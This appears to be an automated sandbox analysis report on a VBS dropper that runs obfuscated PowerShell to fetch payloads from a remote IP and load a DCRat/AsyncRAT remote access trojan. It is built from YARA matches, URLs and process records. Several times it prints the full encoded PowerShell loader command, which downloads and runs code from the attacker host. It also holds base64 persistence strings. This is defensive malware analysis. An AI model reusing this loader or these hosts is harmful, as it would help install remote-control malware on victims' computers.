Source: powershell.exe, 00000003.00000002.1690160988.0000018506223000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.0000018504D6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: HTTP://91.202.233.169/TAK/REG/MARZ/ENVS/DJ1.TXT
Source: powershell.exe, 00000003.00000002.1690160988.0000018504BE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.0000018506223000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.00000185058B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.169
Source: powershell.exe, 00000003.00000002.1690160988.0000018505FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.169/Tak/Reg/Marz/DRG/R
Source: powershell.exe, 00000003.00000002.1690160988.0000018504D6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.0000018505FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3Pe.txt
Source: powershell.exe, 00000003.00000002.1690160988.00000185049C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1689935401.00000185030F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt
Source: powershell.exe, 00000003.00000002.1690160988.0000018506223000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.0000018504D6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.169/Tak/Reg/Marz/ENVS/DJ1.txt
Source: powershell.exe, 00000003.00000002.1690160988.0000018506223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.169/Tak/Reg/Marz/Ex
Source: powershell.exe, 00000003.00000002.1690160988.00000185058B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.0000018505FD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.202.H
Source: RegSvcs.exe, 00000004.00000002.2958714804.000000000148B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: RegSvcs.exe, 00000004.00000002.2958714804.000000000148B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exe, 00000003.00000002.1690160988.00000185062A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1703372117.0000018514A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.1690160988.0000018504BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1721844392.000002244566F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.00000185049C1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.2959693552.0000000003181000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1690160988.0000018504BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.1721844392.000002244562B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1721844392.0000022445642000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1690160988.00000185049C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000003.00000002.1703372117.0000018514A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.1703372117.0000018514A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.1703372117.0000018514A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.1690160988.0000018504BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1690160988.00000185058B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.1690160988.00000185062A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1703372117.0000018514A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.18504e7a558.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2957234369.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1690160988.0000018504E7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6884, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 3.2.powershell.exe.1851cfd0000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 3.2.powershell.exe.18504e7a558.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 3.2.powershell.exe.18504e7a558.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 3.2.powershell.exe.18504e7a558.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 3.2.powershell.exe.18504e7a558.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing the string DcRatBy Author: ditekSHen
Source: 3.2.powershell.exe.18506078440.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 3.2.powershell.exe.18504da3b80.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 00000003.00000002.1707124383.000001851CFD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects known downloader agent Author: ditekSHen
Source: 00000004.00000002.2957234369.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000004.00000002.2958714804.000000000148B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000003.00000002.1690160988.0000018504E7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000004.00000002.2959693552.0000000003181000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000004.00000002.2958104515.0000000001438000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: powershell.exe PID: 3848, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 4312, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: Process Memory Space: powershell.exe PID: 4312, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: RegSvcs.exe PID: 6884, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013E65D0	4_2_013E65D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013E6EA0	4_2_013E6EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013E6288	4_2_013E6288
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013EB590	4_2_013EB590

Source: sostener.vbs

Initial sample: Strings found which are bigger than 50

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 3.2.powershell.exe.1851cfd0000.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 3.2.powershell.exe.18504e7a558.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 3.2.powershell.exe.18504e7a558.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 3.2.powershell.exe.18504e7a558.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 3.2.powershell.exe.18504e7a558.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy author = ditekSHen, description = Detects executables containing the string DcRatBy
Source: 3.2.powershell.exe.18506078440.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 3.2.powershell.exe.18504da3b80.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 00000003.00000002.1707124383.000001851CFD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 00000004.00000002.2957234369.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000004.00000002.2958714804.000000000148B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000003.00000002.1690160988.0000018504E7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000004.00000002.2959693552.0000000003181000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000004.00000002.2958104515.0000000001438000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: powershell.exe PID: 3848, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 4312, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: Process Memory Space: powershell.exe PID: 4312, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: RegSvcs.exe PID: 6884, type: MEMORYSTR	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12

Source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, Settings.cs	Base64 encoded string: 'm1SVmzq41bUtAgiVmChGud35fX/aUNtosr8PYStFYOAnPrN+XR+IkjYiqiUpGtB3iVUC/dwECsCyuNfy8XiQAX4f4BhMF5n5tkjlBy9/rl0=', 'iL4iV3kbq9Wc0eHBghluHFSJGvtmXcYzxD3f8ndQ9uTnqLo5XWL/Ob2NJszbQS9lzFt1jtk75UQxLxfydXIBbg==', 'NiwdLwCGJgE9T7NLnBzBzUZfLUnyV6dx/ze20L7vWNWQ5mgVR+i6SjVmK91d/XSyq8PTQbbEpEgD0Xcz2y73QaWV99k2Y1Pt+k+9qXbk4PVBd+RqCLBna/DVB9TyjaEidnq1LUCkN2zxPmQaYaEvCgmRmdNoBfuk36jL1sYox30ftHy5iwhDgfI8fL3PpwAo3sNeka/8mx1KcBGR7oR1xVUtiKEzj2D/1D0w24ko+BPZT7PtOwOk/zDAz2BhLe2bfHbQfgQPn2k2xohtMzwXk2d1LJokIAhKOsfQJ3IsiLkxzOAXHL+Zz7hFHWBUaTa74PzCj7UfJlo9t7tL31QcU0Ut5s1Z7GDAxwuCsQ+4EzdbnwOAr3L13MzLh/+6y0AmG8WY9d2v7FLTX49s6HUqXpfCJRrXXHSXolFZyNXJqU03WuCVMP3GnWK91ZRKysddcBJYYLw7JcGX0jSLUaFDCOShBrZcR1uNqWGg3y5kzcjvkNKmSLFHUt2yApjlgOV3LvWJ10fwH+T7AP8aFNYnyqz/JKxqqIJI29IaIpV1p7PytVd8DrnVQxsy2MIw4VmUjU68usaUG1/Sq003yCFYdKuWDoYb9XReUAYDxzoG4KEcVXpQiIgn3zmO+fNWbIWUMeR50jVsNO8+HO30YezLEMATPkCTImVSQAeDK4Wm6pW16ivu30DMoIRVu+JE1Oxe1HkxdJZaT1fik4dKGO58CYSSeiUTyrUbI6kBZQnDVnBzkNu2Al6SwE73fajFQLal+oSGQ2T9MhdGgEGVOYUGWoI+0y9lX9fJGbdja0QpZ8IOom55sJJp2mAYPqxtpzULHJeDbSQto9MeA7meSBtk7rEJECdJHtIqe5Dd+7fWE4v68VSq+rkJr4ZzP6YIZ+Js0KXt1TWnQ22NcCZ3aooBNp7Lm/ZW706KP6Wj1Zn74tOEq78XWGXGPsZ2JvxQoCk45CTkBqTr58qnivpoprK+t+TL4LBqtyBV+iHUkivD4I+OfR1MRJm/SSoJKHHT0YgDwv+d/r9ZqNKvRP1sv456gPAESQDOHbKMPTM9qe+3KzFdhYSV6gRZfTnAPBjEnfSl', 'UB9UzwA9tGakGgTcozLufAUFQxQCuoOi+9ktVsBWG9zFIaU239Gos24AjhaHGQraIeSRRMO3GubTGWn/PCwrNYDzeS4gR3UOWKRrfG9785AWj+/K1SLSEQEyKczGXXNvpC+Yxv5Iymd50ZYpBzwc9x1ME3yP5inYKo5PAUjVoKBlbQlnkfav1AqoOrhH7ohpYYwiXO65nsLpVF8JreGq/VlAHr1JQ9fopC032bYNkBljQf6l83C+UrfxPGpwixgV84GrrDa4efbY4mhD/tCoGnoWO4dgjbGj+FO0qjoyq3E=', 'MIlzi1B7PthTHEHMqprZFE7qh2CwotWNt1bDN2lDdtoVWtDWHS/TzpIcw4Wbme2XtTl/hfh6Cu0vUdf8k+aIhQ==', 'K37OLhwW8YSNgPJaT0/aIK6XT8xXXyJ8hP5zAzYNpppfpBxw4RuVM3WlDbJs4ti69CCz6JpT8wlSjr3femWfpw==', 'j59e0As5uh5mS607NeJD0+mZaKrTbSvccTOP1iThRoCdeFwO1hE/wQ4vuh1aDrUI68wwcvmfYRuWnrMNT8SRhg=='
Source: 3.2.powershell.exe.18504e7a558.0.raw.unpack, NormalStartup.cs	Base64 encoded string: 'L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g', 'U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA=='

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@8/5@7/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1880:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\DcRatMutex_qwqdanchun

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yxbjuoro.p31.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 